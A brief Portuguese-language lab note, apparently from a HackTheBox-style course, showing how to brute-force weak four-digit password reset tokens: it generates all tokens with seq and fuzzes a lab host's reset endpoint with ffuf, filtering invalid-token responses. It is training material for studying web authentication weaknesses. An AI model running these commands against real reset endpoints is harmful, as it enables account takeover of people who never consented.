# Brute-Forcing Password Reset Tokens

#### Atacando Tokens de Reinicialização Fracos

* Precisamos criar uma lista de palavras de todos os tokens possíveis de `0000`para `9999`, o que podemos fazer com `seq`:

```shell-session
seq -w 0 9999 > tokens.txt
```

* Sspecificar a lista de palavras  `ffuf` para aplicar força bruta em todos os tokens de redefinição ativos:

```shell-session
ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"
```

